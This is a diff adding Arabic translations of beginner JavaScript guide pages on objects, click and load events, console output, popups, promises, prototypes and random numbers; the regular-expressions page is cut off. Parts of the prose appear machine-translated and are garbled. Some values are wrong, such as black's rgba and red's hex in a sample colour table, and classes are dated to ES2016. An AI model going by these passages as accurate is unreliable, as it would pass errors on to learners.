+عندما ترغب في إضافة خصائص إلى الكائن الخاص بك ، يمكنك ببساطة استخدام إما تدوين نقطي أو تدوين قوس مع اسم الخاصية الذي تختاره:
+
+ `myObject.name = "Johnny Mnemonic" 
+ myObject["age"] = 55 
+` 
+
+### باستخدام وظيفة منشئ
+
+يمكنك تعريف دالة منشئ يمكنك استخدامها لإنشاء الكائنات الخاصة بك:
+
+ `function Kitten(name, cute, color) { 
+  this.name = name, 
+  this.cute = cute, 
+  this.color = color 
+ } 
+` 
+
+يمكنك تعريف متغير يحتوي على إنشاء مثيل لهذا الكائن عن طريق استدعاء دالة منشئ:
+
+ `let myKitten = new Kitten("Nibbles", true, "white") 
+` 
+
+### Object.create ()
+
+يتيح لك الأسلوب Object.create () (المحدد أولاً في ECMAScript 5.1) إنشاء كائنات. يسمح لك باختيار كائن النموذج الأصلي للكائن الجديد دون الحاجة إلى تعريف دالة منشئ مسبقًا.
+
+ `// Our pre-defined object 
+ let kitten = { 
+  name: "Fluff", 
+  cute: true, 
+  color: "gray" 
+ } 
+ // Create a new object using Object.create(). kitten is used as the prototype 
+ let newKitten = Object.create(kitten) 
+ 
+ console.log(newKitten.name) // Will output "Fluff" 
+` 
+
+#### معلومات اكثر
+
+[مقال MDN حول العمل مع الكائنات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/onclick-event/index.md b/client/src/guide/arabic/javascript/onclick-event/index.md
new file mode 100644
index 0000000000..cecd0efa90
--- /dev/null
+++ b/client/src/guide/arabic/javascript/onclick-event/index.md
@@ -0,0 +1,64 @@
+---
+title: Onclick Event
+localeTitle: حدث Onclick
+---
+## حدث Onclick
+
+يسمح لك الحدث `onclick` في JavaScript كمبرمج بتنفيذ وظيفة عند النقر فوق عنصر.
+
+### مثال
+
+ `<button onclick="myFunction()">Click me</button> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Button was clicked!'); 
+  } 
+ </script> 
+` 
+
+في المثال البسيط أعلاه ، عندما ينقر المستخدم على الزر ، سيرى تنبيهًا في المتصفح يعرض `Button was clicked!` .
+
+### إضافة `onclick` بشكل حيوي
+
+يمكن أيضًا إضافة حدث `onclick` برمجيًا إلى أي عنصر باستخدام التعليمة البرمجية التالية في المثال التالي:
+
+ `<p id="foo">click on this element.</p> 
+ 
+ <script> 
+  var p = document.getElementById("foo"); // Find the paragraph element in the page 
+  p.onclick = showAlert; // Add onclick function to element 
+ 
+  function showAlert(event) { 
+    alert("onclick Event triggered!"); 
+  } 
+ </script> 
+` 
+
+### ملحوظة
+
+من المهم ملاحظة أن استخدام onclick يمكننا إضافة وظيفة مستمع واحدة فقط. إذا كنت ترغب في إضافة المزيد ، فقط استخدم addEventListener () ، وهي الطريقة المفضلة لإضافة وحدة إصغاء الأحداث.
+
+في المثال أعلاه ، عندما ينقر المستخدم على عنصر `paragraph` في `html` ، سيرى تنبيهًا يظهر `onclick Event triggered` .
+
+### منع الفعل الافتراضي
+
+ولكن إذا كان لنا أن نعلق `onclick` على وصلات (HTML هو `a` علامة) قد نرغب منع الإجراء الافتراضي إلى حدوث:
+
+ `<a href="https://guide.freecodecamp.org" onclick="myAlert()">Guides</a> 
+ 
+ <script> 
+  function myAlert(event) { 
+    event.preventDefault(); 
+    alert("Link was clicked but page was not open"); 
+  } 
+ </script> 
+` 
+
+في المثال أعلاه يمكننا منع السلوك الافتراضي `a` عنصر (وصلة فتح) باستخدام `event.preventDefault()` داخل لدينا `onclick` ظيفة رد.
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onclick)
+
+#### موارد آخرى
+
+[jQuery .on () مرفق معالج الأحداث](https://api.jquery.com/on/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/onload-event/index.md b/client/src/guide/arabic/javascript/onload-event/index.md
new file mode 100644
index 0000000000..c3d3e595de
--- /dev/null
+++ b/client/src/guide/arabic/javascript/onload-event/index.md
@@ -0,0 +1,30 @@
+---
+title: Onload Event
+localeTitle: حدث Onload
+---
+## حدث Onload
+
+يتم استخدام حدث `onload` لتنفيذ وظيفة JavaScript فورًا بعد تحميل الصفحة.
+
+### مثال:
+
+ `<body onload="myFunction()"> 
+ 
+ <script> 
+  function myFunction() { 
+    alert('Page finished loading'); 
+  } 
+ </script> 
+` 
+
+في المثال أعلاه ، بمجرد تحميل صفحة الويب ، سيتم استدعاء وظيفة `myFunction` ، مما يعرض تنبيه `Page finished loading` المنتهي إلى المستخدم.
+
+يتم استخدام حدث `onload` أغلب الأحيان داخل عنصر `<body>` لتنفيذ البرنامج النصي. إذا تم إرفاقه بـ `<body>` ، فسيتم تشغيل النص البرمجي بمجرد أن تقوم صفحة الويب بتحميل كل المحتوى (صور وملفات برامج نصية وملفات CSS وما إلى ذلك).
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onload)
+
+#### موارد آخرى
+
+[jQuery .on () مرفق معالج الأحداث](https://api.jquery.com/on/) [Stack Overflow: window.onload ضد document.onload](https://stackoverflow.com/questions/588040/window-onload-vs-document-onload)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/output/index.md b/client/src/guide/arabic/javascript/output/index.md
new file mode 100644
index 0000000000..3e92fcbc2a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/output/index.md
@@ -0,0 +1,102 @@
+---
+title: Output 
+localeTitle: انتاج |
+---
+## انتاج |
+
+هناك 4 طرق شائعة يمكنك من خلالها إخراج بياناتك من خلال وحدة التحكم. سيتم استخدام هذه الجزء الأكبر من عملية التطوير الخاصة بك.
+
+#### `console.log`
+
+إنها الطريقة الأكثر شيوعًا واستخدامًا لإخراج البيانات. من الشائع أن يتم إدخال زوجين من هذه العبارات بين العبارات لتوضيح كيفية تدفق البيانات ومعالجتها. أيضا ، يمكنك استخدام `debugger` أو نقاط التوقف في devtools أن تفعل الشيء نفسه دون تلويث التعليمات البرمجية الخاصة بك.
+
+ `var numbers  = [ 1, 2, 3, 4, 5, 6, 7]; 
+ numbers.forEach(function(number){ 
+  console.log(number + ' is divisible by 2', number%2 == 0); 
+ }); 
+` 
+
+#### `console.warn`
+
+كما خمنت بالاسم ، يُستخدم هذا لعرض التحذيرات ، ويميزها اللون الأصفر النموذجي عن الخطأ الأحمر & `console.log` .
+
+ `function isAdult(age){ 
+  if(Number(age) < 18){ 
+    console.warn('You are not an adult'); 
+    return false; 
+   } 
+   return true; 
+ } 
+` 
+
+#### `console.error`
+
+كما يمكنك تخمين ، يتم استخدام هذا عند طرح استثناء أو خطأ في التعليمات البرمجية. يعطيك رسالة الخطأ الحمراء لجذب الانتباه بسرعة.
+
+#### `console.table`
+
+افترض أنك حصلت على قائمة من العناصر أو الأفلام في كائن json وتريد التحقق من ذلك في تنسيق الجدول ، ثم `console.table` هو أفضل رهان. يكتشف تلقائيًا الصفوف ورؤوس الأعمدة من البيانات.
+
+_حاول تشغيل التعليمة البرمجية أدناه في وحدة التحكم الخاصة بك_
+
+ `var data = { 
+  "colors": [ 
+    { 
+      "color": "black", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,255,1], 
+      "hex": "#000" 
+    }, 
+    { 
+      "color": "white", 
+      "category": "value", 
+      "rgba": [0,0,0,1], 
+      "hex": "#FFF" 
+    }, 
+    { 
+      "color": "red", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,0,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "blue", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [0,0,255,1], 
+      "hex": "#00F" 
+    }, 
+    { 
+      "color": "yellow", 
+      "category": "hue", 
+      "type": "primary", 
+      "rgba": [255,255,0,1], 
+      "hex": "#FF0" 
+    }, 
+    { 
+      "color": "green", 
+      "category": "hue", 
+      "type": "secondary", 
+      "rgba": [0,255,0,1], 
+      "hex": "#0F0" 
+ 
+    }, 
+  ] 
+ } 
+ 
+ console.table(data.colors); 
+` 
+
+يمكنك أيضًا التحكم في نوع المخرجات الذي تريد رؤيته في وحدة التحكم.
+
+1.  الكل
+2.  مطنب
+3.  تحذير
+4.  أخطاء
+
+#### معلومات اكثر:
+
+*   [مرجع كامل لعنصر وحدة التحكم بواسطة Google](https://developers.google.com/web/tools/chrome-devtools/console/console-reference)
+*   [وحدة التحكم MDN](https://developer.mozilla.org/en-US/docs/Web/API/Console)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/popup-boxes/index.md b/client/src/guide/arabic/javascript/popup-boxes/index.md
new file mode 100644
index 0000000000..f0de21812a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/popup-boxes/index.md
@@ -0,0 +1,67 @@
+---
+title: Popup Boxes
+localeTitle: مربعات منبثقة
+---
+## مربعات منبثقة
+
+مربعات النوافذ المنبثقة (أو مربعات الحوار) هي إطارات مشروطة تستخدم لإشعار المستخدم أو تحذيره أو للحصول على مدخلات من المستخدم.
+
+تمنع المربعات المنبثقة المستخدم من الوصول إلى جوانب أخرى من البرنامج حتى يتم إغلاق النافذة المنبثقة ، لذلك يجب ألا يتم استخدامها بشكل مفرط.
+
+هناك ثلاثة أنواع مختلفة من الأساليب المنبثقة المستخدمة في JavaScript: [window.alert ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert) و [window.confirm ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm) و [window.prompt ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) .
+
+### محزر
+
+تعرض [طريقة التنبيه](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert) رسائل لا تتطلب من المستخدم إدخال استجابة. بمجرد استدعاء هذه الوظيفة ، سيظهر مربع حوار تنبيه مع الرسالة المحددة (الاختيارية). سيُطلب من المستخدمين تأكيد الرسالة قبل انتهاء التنبيه.
+
+### مثال:
+
+`window.alert("Welcome to our website");`
+
+![مثال تنبيه MDN](https://mdn.mozillademos.org/files/130/AlertHelloWorld.png)
+
+### تؤكد
+
+تشبه [طريقة التأكيد](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm) `window.alert()` ، ولكنها تعرض أيضًا زر إلغاء في `window.alert()` المنبثقة. تقوم الأزرار بإرجاع القيم المنطقية: true for OK و false for Cancel.
+
+### مثال:
+
+ `var result = window.confirm('Are you sure?'); 
+ if (result === true) { 
+    window.alert('Okay, if you're sure.'); 
+ } else { 
+    window.alert('You seem uncertain.'); 
+ } 
+` 
+
+![MDN Confirm Example](https://mdn.mozillademos.org/files/7163/firefoxcomfirmdialog_zpsf00ec381.png)
+
+### مستعجل
+
+يتم استخدام [أسلوب](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt) الموجه عادةً للحصول على إدخال النص من المستخدم. يمكن أن تأخذ هذه الوظيفة وسيطتين ، كلاهما اختياري: رسالة ليتم عرضها للمستخدم وقيمة افتراضية للعرض في حقل النص.
+
+### مثال:
+
+`var age = prompt('How old are you?', '100');`
+
+![مثال موجه MDN](https://mdn.mozillademos.org/files/11303/prompt.png)
+
+### خيارات التصميم الأخرى:
+
+إذا كنت غير راضٍ عن النوافذ المنبثقة JavaScript الافتراضية ، يمكنك استبدالها في مكتبات UI المختلفة. على سبيل المثال ، يوفر SweetAlert بديلاً لطيفًا لوحدات JavaScript القياسية. يمكنك تضمينها في HTML الخاص بك عبر CDN (شبكة توصيل المحتوى) والبدء في استخدامها.
+
+ `<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> 
+` 
+
+الصيغة على النحو التالي: `swal(title, subtitle, messageType)`
+
+ `swal("Oops!", "Something went wrong on the page!", "error"); 
+` 
+
+سيعمل الكود أعلاه على إنتاج النافذة المنبثقة التالية: ![SweetAlert مثال](https://ludu-assets.s3.amazonaws.com/lesson-content/rWqOoQXgDrSVSMrAKiZ9) SweetAlert ليست بأي حال المعادل الوحيد للوحدات القياسية ، ولكنها نظيفة وسهلة التنفيذ.
+
+#### معلومات اكثر:
+
+*   [MDN window.alert ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/alert)
+*   [MDN window.confirm ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/confirm)
+*   [MDN window.prompt ()](https://developer.mozilla.org/en-US/docs/Web/API/Window/prompt)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/promises/index.md b/client/src/guide/arabic/javascript/promises/index.md
new file mode 100644
index 0000000000..5be5362d8a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/promises/index.md
@@ -0,0 +1,168 @@
+---
+title: Promises
+localeTitle: وعود
+---
+## وعود
+
+جافا سكريبت واحد مترابطة ، مما يعني أنه لا يمكن تشغيل نصين من النص البرمجي في نفس الوقت ؛ لديهم لتشغيل واحد تلو الآخر. الوعد هو كائن يمثل الانتهاء النهائي (أو الفشل) لعملية غير متزامنة ، والقيمة الناتجة عنها.
+
+ `var promise = new Promise(function(resolve, reject) { 
+  // do thing, then… 
+ 
+  if (/* everything worked */) { 
+    resolve("See, it worked!"); 
+  } 
+  else { 
+    reject(Error("It broke")); 
+  } 
+ }); 
+` 
+
+## الوعد موجود في واحدة من هذه الحالات
+
+*   معلق: الحالة الأولية ، لم يتم الوفاء بها أو رفضها.
+*   اكتملت العملية بنجاح.
+*   مرفوض: فشلت العملية.
+
+يعمل الكائن Promise كوكيل لقيمة غير معروفة بالضرورة عند إنشاء الوعد. يسمح لك بربط معالجات بقيمة نجاح نهائي أو إجراء غير متزامن في الإجراء. يتيح هذا للأساليب غير المتزامنة إرجاع قيم مثل الأساليب المتزامنة: بدلاً من إرجاع القيمة النهائية على الفور ، ترجع الطريقة غير المتزامنة وعدًا لتوفير القيمة في مرحلة ما في المستقبل.
+
+## باستخدام "ثم" (الوعد تسلسل)
+
+لاتخاذ العديد من المكالمات غير المتزامنة ومزامنتها واحدة تلو الأخرى ، يمكنك استخدام تسلسل الوعد. يسمح هذا باستخدام قيمة من الوعد الأول في عمليات الاسترجاع اللاحقة لاحقًا.
+
+ `Promise.resolve('some') 
+  .then(function(string) { // <-- This will happen after the above Promise resolves (returning the value 'some') 
+    return new Promise(function(resolve, reject) { 
+      setTimeout(function() { 
+        string += 'thing'; 
+        resolve(string); 
+      }, 1); 
+    }); 
+  }) 
+  .then(function(string) { // <-- This will happen after the above .then's new Promise resolves 
+    console.log(string); // <-- Logs 'something' to the console 
+  }); 
+` 
+
+## Promise API
+
+هناك 4 طرق ثابتة في فئة Promise:
+
+*   Promise.resolve
+*   Promise.reject
+*   Promise.all
+*   Promise.race
+
+## يمكن تقييد الوعود معاً
+
+عند كتابة الوعود لحل مشكلة معينة ، يمكنك تجميعها معًا لتشكيل المنطق.
+
+ `var add = function(x, y) { 
+  return new Promise((resolve,reject) => { 
+    var sum = x + y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not add the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ var subtract = function(x, y) { 
+  return new Promise((resolve, reject) => { 
+    var sum = x - y; 
+    if (sum) { 
+      resolve(sum); 
+    } 
+    else { 
+      reject(Error("Could not subtract the two values!")); 
+    } 
+  }); 
+ }; 
+ 
+ // Starting promise chain 
+ add(2,2) 
+  .then((added) => { 
+    // added = 4 
+    return subtract(added, 3); 
+  }) 
+  .then((subtracted) => { 
+    // subtracted = 1 
+    return add(subtracted, 5); 
+  }) 
+  .then((added) => { 
+    // added = 6 
+    return added * 2; 
+  }) 
+  .then((result) => { 
+    // result = 12 
+    console.log("My result is ", result); 
+  }) 
+  .catch((err) => { 
+    // If any part of the chain is rejected, print the error message. 
+    console.log(err); 
+  }); 
+` 
+
+هذا مفيد _لاتباع_ نموذج _برمجة وظيفية_ . بواسطة انشاء وظائف لمعالجة البيانات يمكنك تجميعها معا لتجميع النهائي نتيجة. إذا تم _رفض_ السلسلة في أي مرحلة من سلسلة الوظائف سوف تخطي إلى معالج `catch()` الأقرب.
+
+لمزيد من المعلومات حول البرمجة [الوظيفية](https://en.wikipedia.org/wiki/Functional_programming) : [البرمجة الوظيفية](https://en.wikipedia.org/wiki/Functional_programming)
+
+## وظيفة المولدات
+
+في الإصدارات الحديثة ، قدمت JavaScript المزيد من الطرق للتعامل مع Promises. أحد هذه الطرق هو مولد الدالة. مولدات الدالة هي دالات "يمكن إيقافها". عند استخدامها مع Promises ، يمكن للمولدات أن تجعل عملية القراءة أكثر سهولة وأن تظهر "متزامنة".
+
+ `const myFirstGenerator = function* () { 
+  const one = yield 1; 
+  const two = yield 2; 
+  const three = yield 3; 
+ 
+  return 'Finished!'; 
+ } 
+ 
+ const gen = myFirstGenerator(); 
+` 
+
+ها هو أول مولد لدينا ، والذي يمكنك رؤيته بواسطة بناء الجملة `function*` . و `gen` متغير أعلنا لن يتم تشغيل `myFirstGenerator` ، ولكن بدلا من ذلك سوف "هذه المولدات جاهزة للاستخدام".
+
+ `console.log(gen.next()); 
+ // Returns { value: 1, done: false } 
+` 
+
+عندما نقوم بتشغيل `gen.next()` فإنه سوف `gen.next()` . وبما أن هذه هي المرة الأولى التي نطلق عليها `gen.next()` ، فسوف يتم تشغيل `yield 1` `gen.next()` مؤقتًا حتى نسميه `gen.next()` مرة أخرى. عندما `yield 1` يسمى، فإنه سيعود لنا `value` التي أسفرت عن وجود أو عدم ومولد `done` .
+
+ `console.log(gen.next()); 
+ // Returns { value: 2, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 3, done: false } 
+ 
+ console.log(gen.next()); 
+ // Returns { value: 'Finished!', done: true } 
+ 
+ console.log(gen.next()); 
+ // Will throw an error 
+` 
+
+بينما نستمر في استدعاء `gen.next()` ، سيستمر الأمر في `yield` التالي `gen.next()` المؤقت في كل مرة. وبمجرد عدم وجود مزيد من `yield` المتبقي ، فستستمر في تشغيل بقية المولد ، والتي في هذه الحالة تعود ببساطة `'Finished!'` . إذا اتصلت بـ `gen.next()` مرة أخرى ، فسوف ترمي خطأ عندما ينتهي المولد.
+
+الآن ، تخيل إذا كان كل `yield` في هذا المثال عبارة عن `Promise` ، سيبدو الرمز نفسه متزامنًا للغاية.
+
+### Promise.all (iterable) مفيد جدًا لطلبات متعددة لمصدر مختلف
+
+ترجع طريقة Promise.all (iterable) وعدًا واحدًا يحل عندما يتم حل جميع الوعود في الوسيطة المتقابلة أو عندما لا تحتوي الوسيطة القابلة للتكرار على أي وعود. إنها ترفض سبب الوعد الأول الذي يرفض.
+
+ `var promise1 = Promise.resolve(catSource); 
+ var promise2 = Promise.resolve(dogSource); 
+ var promise3 = Promise.resolve(cowSource); 
+ 
+ Promise.all([promise1, promise2, promise3]).then(function(values) { 
+  console.log(values); 
+ }); 
+ // expected output: Array ["catData", "dogData", "cowData"] 
+` 
+
+### معلومات اكثر
+
+لمزيد من المعلومات حول الوعود: [وعود](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/prototypes/index.md b/client/src/guide/arabic/javascript/prototypes/index.md
new file mode 100644
index 0000000000..e5cfc87397
--- /dev/null
+++ b/client/src/guide/arabic/javascript/prototypes/index.md
@@ -0,0 +1,101 @@
+---
+title: Prototypes
+localeTitle: نماذج
+---
+## نماذج
+
+جافا سكريبت هي لغة مبنية على النموذج الأولي ، لذا فهم أن نموذج النموذج هو أحد أهم المفاهيم التي يحتاج ممارسو جافا سكريبت إلى معرفتها. ستعطيك هذه المقالة نظرة عامة قصيرة على كائن Prototype من خلال العديد من الأمثلة. قبل قراءة هذه المقالة ، ستحتاج إلى فهم أساسي [`this` المرجع في JavaScript](/src/pages/javascript/this-reference/index.md) .
+
+### كائن النموذج
+
+من أجل الوضوح ، دعنا نفحص المثال التالي:
+
+ `function Point2D(x, y) { 
+  this.x = x; 
+  this.y = y; 
+ } 
+` 
+
+كما `Point2D` وظيفة `Point2D` ، سيتم إنشاء خاصية افتراضية تسمى `prototype` (لاحظ أنه ، في JavaScript ، وظيفة هي أيضا كائن). الخاصية `prototype` هي كائن يحتوي على خاصية `constructor` `Point2D` الدالة `Point2D.prototype.constructor = Point2D` : `Point2D.prototype.constructor = Point2D` . وعندما تستدعي `Point2D` رئيسية `new` ، `Point2D` _الكائنات المنشأة حديثًا جميع الخصائص من_ `Point2D.prototype` . للتحقق من ذلك ، يمكنك إضافة طريقة باسم `move` إلى `Point2D.prototype` كما يلي:
+
+ `Point2D.prototype.move = function(dx, dy) { 
+  this.x += dx; 
+  this.y += dy; 
+ } 
+ 
+ var p1 = new Point2D(1, 2); 
+ p1.move(3, 4); 
+ console.log(p1.x); // 4 
+ console.log(p1.y); // 6 
+` 
+
+يسمى `Point2D.prototype` **كائن prototype** أو **prototype** من كائن `p1` وعن أي كائن آخر تم إنشاؤه باستخدام بناء جملة `new Point2D(...)` . يمكنك إضافة المزيد من الخصائص إلى كائن `Point2D.prototype` كما تريد. النمط المشترك هو إعلان الطرق إلى `Point2D.prototype` وسيتم الإعلان عن خصائص أخرى في وظيفة منشئ.
+
+يتم إنشاء الكائنات المضمّنة في JavaScript بطريقة مماثلة. فمثلا:
+
+*   Prototype of objects التي تم تكوينها باستخدام `new Object()` أو `{}` syntax هو `Object.prototype` .
+*   النموذج الأولي من المصفوفات التي تم إنشاؤها باستخدام `new Array()` أو `[]` بناء الجملة `Array.prototype` .
+*   وهكذا مع الكائنات المضمنة الأخرى مثل `Date` و `RegExp` .
+
+يتم توارث `Object.prototype` بكافة الكائنات وليس لها نموذج أولي (نموذجها الأولي `null` ).
+
+### سلسلة النموذج
+
+آلية سلسلة النموذج بسيطة: عند الوصول إلى خاصية `p` على كائن `obj` ، سيقوم محرك JavaScript بالبحث في هذه الخاصية داخل كائن `obj` . إذا فشل المحرك في البحث ، فإنه يستمر في البحث في نموذج كائن `obj` وهكذا حتى يصل إلى `Object.prototype` . إذا انتهى البحث ، ولم يتم العثور على أي شيء ، فإن النتيجة ستكون `undefined` . فمثلا:
+
+ `var obj1 = { 
+  a: 1, 
+  b: 2 
+ }; 
+ 
+ var obj2 = Object.create(obj1); 
+ obj2.a = 2; 
+ 
+ console.log(obj2.a); // 2 
+ console.log(obj2.b); // 2 
+ console.log(obj2.c); // undefined 
+` 
+
+في المقتطف أعلاه ، `var obj2 = Object.create(obj1)` إلى إنشاء كائن `obj2` باستخدام كائن `obj1` prototype. بمعنى آخر ، يصبح `obj1` هو النموذج الأولي لـ `obj2` بدلاً من `Object.prototype` افتراضيًا. كما ترى ، ليست `b` خاصية خاصة بـ `obj2` ، فلا يزال بإمكانك الوصول إليها عبر سلسلة النموذج الأولي. ومع ذلك ، بالنسبة إلى الخاصية `c` ، تحصل على قيمة `undefined` لأنه لا يمكن العثور عليها في `obj1` و `Object.prototype` .
+
+### الطبقات
+
+في ES2016 ، أصبحنا الآن نستخدم الكلمة الرئيسية `Class` وكذلك الأساليب المذكورة أعلاه للتلاعب في `prototype` . تروق `Class` جافا سكريبت للمطورين من خلفيات OOP ، ولكنها في الأساس تقوم بنفس الشيء على النحو الوارد أعلاه.
+
+ `class Rectangle { 
+  constructor(height, width) { 
+    this.height = height 
+    this.width = width 
+  } 
+ 
+  get area() { 
+    return this.calcArea() 
+  } 
+ 
+  calcArea() { 
+    return this.height * this.width 
+  } 
+ } 
+ 
+ const square = new Rectangle(10, 10) 
+ 
+ console.log(square.area) // 100 
+` 
+
+هذا هو أساسا نفس:
+
+ `function Rectangle(height, width) { 
+  this.height = height 
+  this.width = width 
+ } 
+ 
+ Rectangle.prototype.calcArea = function calcArea() { 
+  return this.height * this.width 
+ } 
+` 
+
+و `getter` و `setter` الأساليب في الطبقات ربط خاصية كائن إلى وظيفة التي سيتم استدعاؤها عند بدا أن الممتلكات تصل. إنه مجرد سكر نحوي للمساعدة في تسهيل _البحث عن_ الخصائص أو _ضبطها_ .
+
+**قراءة متعمقة:**
+
+*   [MDN: نماذج الكائنات](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/random-method/index.md b/client/src/guide/arabic/javascript/random-method/index.md
new file mode 100644
index 0000000000..e67a6971dc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/random-method/index.md
@@ -0,0 +1,103 @@
+---
+title: Random Method
+localeTitle: طريقة عشوائية
+---
+## طريقة عشوائية
+
+طريقة JavaScript `Math.random()` هي طريقة مدمجة ممتازة لإنتاج أرقام عشوائية. عند تنفيذ `Math.random()` ، تقوم بإرجاع رقم عشوائي يمكن أن يكون بين 0 و 1. يتم تضمين 0 و 1 مستثنى.
+
+### توليد رقم نقطة عائم عشوائي بين 0 و 1
+
+سيقوم الأسلوب `Math.random()` بإرجاع رقم عشري (عشري) أكبر من أو يساوي 0 وأقل من (ولكن لا يساوي مطلقًا) 1. وبعبارة أخرى `0 <= x < 1` . فمثلا:
+
+ `console.log(Math.random()); 
+ // 0.7069207248635578 
+ 
+ console.log(Math.random()); 
+ // 0.765046694794209 
+ 
+ console.log(Math.random()); 
+ // 0.14069121642698246 
+` 
+
+(وبالطبع ، ستكون الأرقام التي يتم إرجاعها مختلفة في كل مرة. سيتم افتراض ذلك لكافة الأمثلة التالية - ستحدث نتائج مختلفة لكل تمريرة.)
+
+للحصول على رقم عشوائي بين مجموعة أكبر `Math.random()` نتيجة `Math.random()` برقم.
+
+### توليد رقم نقطة عائمة عشوائية بين 0 و max محدد
+
+عادة لا تحتاج إلى أرقام عشوائية بين 0 و 1 - تحتاج إلى أعداد أكبر أو حتى أعداد صحيحة.
+
+على سبيل المثال ، إذا كنت تريد رقم نقطة عائم عشوائيًا بين 0 و 10 ، فيمكنك استخدام:
+
+ `var x = Math.random()*10; 
+ 
+ console.log(x); 
+ // 4.133793901445541 
+` 
+
+### توليد رقم نقطة عائمة عشوائية داخل نطاق
+
+إذا كنت تحتاج إلى رقم نقطة عائمة عشوائي يتراوح بين رقمين محددين ، فيمكنك فعل شيء كالتالي:
+
+ `var min = 83.1; 
+ var max = 193.36; 
+ 
+ var x = Math.random()*(max - min)+min; 
+ 
+ console.log(x); 
+ // 126.94014012699063 
+` 
+
+### توليد عدد صحيح عشوائي بين 0 و max
+
+غالبا ما تحتاج إلى الأعداد الصحيحة. للقيام بذلك ، سيتعين عليك استخدام بعض الطرق الأخرى من كائن `Math` ، `Math.floor()` (تقريبًا إلى أقرب عدد صحيح) و `Math.ceil()` (تقريبًا إلى أقرب عدد صحيح).
+
+على سبيل المثال ، إذا كنت تريد التحديد عشوائياً من مصفوفة من 10 عناصر ، فستحتاج إلى رقم عشوائي بين 0 و 9 ضمناً (تذكر أن المصفوفات صفر فهرستها).
+
+ `var x = Math.floor(Math.random()*10); 
+ 
+ console.log(x); 
+ // 7 
+` 
+
+(تذكر أن `Math.random()` لن ترجع بالضبط 1 ، لذلك لن يتمكن `Math.random()*10` العودة تمامًا 10. وهذا يعني أنه بعد التقريب إلى الأسفل ، ستكون النتيجة دائمًا 9 أو أقل.)
+
+### توليد عدد صحيح عشوائي بين 1 و max
+
+إذا كنت بحاجة إلى رقم عشوائي مع الحد الأدنى لعدد 1 (على سبيل المثال ، اختيار يوم عشوائي في يناير) ، يمكنك استخدام أسلوب `Math.ceil()` .
+
+ `var x = Math.ceil(Math.random()*31); 
+ 
+ console.log(x); 
+ // 23 
+` 
+
+طريقة أخرى كانت لاستخدام الوظيفة السابقة (باستخدام `Math.floor()` ) وإضافة 1 إليها:
+
+ `var x = Math.floor(Math.random()*31)+1; 
+ 
+ console.log(x); 
+ // 17 
+` 
+
+### توليد عدد صحيح عشوائي داخل نطاق
+
+وأخيرًا ، تحتاج في بعض الأحيان إلى عدد صحيح عشوائي بين رقمين محددين. على سبيل المثال ، إذا كنت تحاول اختيار تذاكر يانصيب وكنت تعرف أرقام أقل وأكبر رقم:
+
+ `var min = 1718; 
+ var max = 3429; 
+ 
+ var x = Math.floor(Math.random()*(max-min+1)+min); 
+ 
+ console.log(x); 
+ //2509 
+` 
+
+### ما مدى عشوائية Math.random ()؟
+
+يمكن الإشارة إلى أن الرقم الذي تم إرجاعه بواسطة `Math.random()` هو رقم زائف عشوائي حيث لا يمكن لأي كمبيوتر إنشاء رقم عشوائي حقيقي ، والذي يعرض عشوائيًا على جميع المقاييس وعلى جميع أحجام مجموعات البيانات. ومع ذلك ، فإن الرقم الزائف العشوائي الذي تولده `Math.random()` يكفي عادة لاحتياجات أي برنامج تقريبًا قد تكتبه. لا تظهر العشوائية الحقيقية فقط في مجموعات الأرقام الكبيرة الفلكية أو عندما تكون هناك حاجة إلى الكسور العشرية غير المألوفة.
+
+### معلومات اكثر:
+
+*   الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/regular-expressions-reference/index.md b/client/src/guide/arabic/javascript/regular-expressions-reference/index.md
new file mode 100644
index 0000000000..40c9765c94
--- /dev/null
+++ b/client/src/guide/arabic/javascript/regular-expressions-reference/index.md
@@ -0,0 +1,96 @@
+---
+title: Regular Expressions Reference
+localeTitle: مرجع التعبيرات العادية
+---
+## مرجع التعبيرات العادية
+
+في JavaScript ، تعتبر التعبيرات العادية اختصارًا تستخدم لمطابقة الجزء المطلوب من السلسلة. هذه هي مفيدة عند محاولة معالجة أو التحقق من صحة سلاسل المستخدمة في التعليمات البرمجية.
+
+### بناء الجملة
+
+تتكون التعبيرات العادية من جزأين - `pattern` `flags` (اختياري). النمط مكتوب بين شريحتين مائلتين ، متبوعتين بالأعلام الاختيارية: `var exp = /pattern/flags` .
+
+#### أنماط - رسم
+
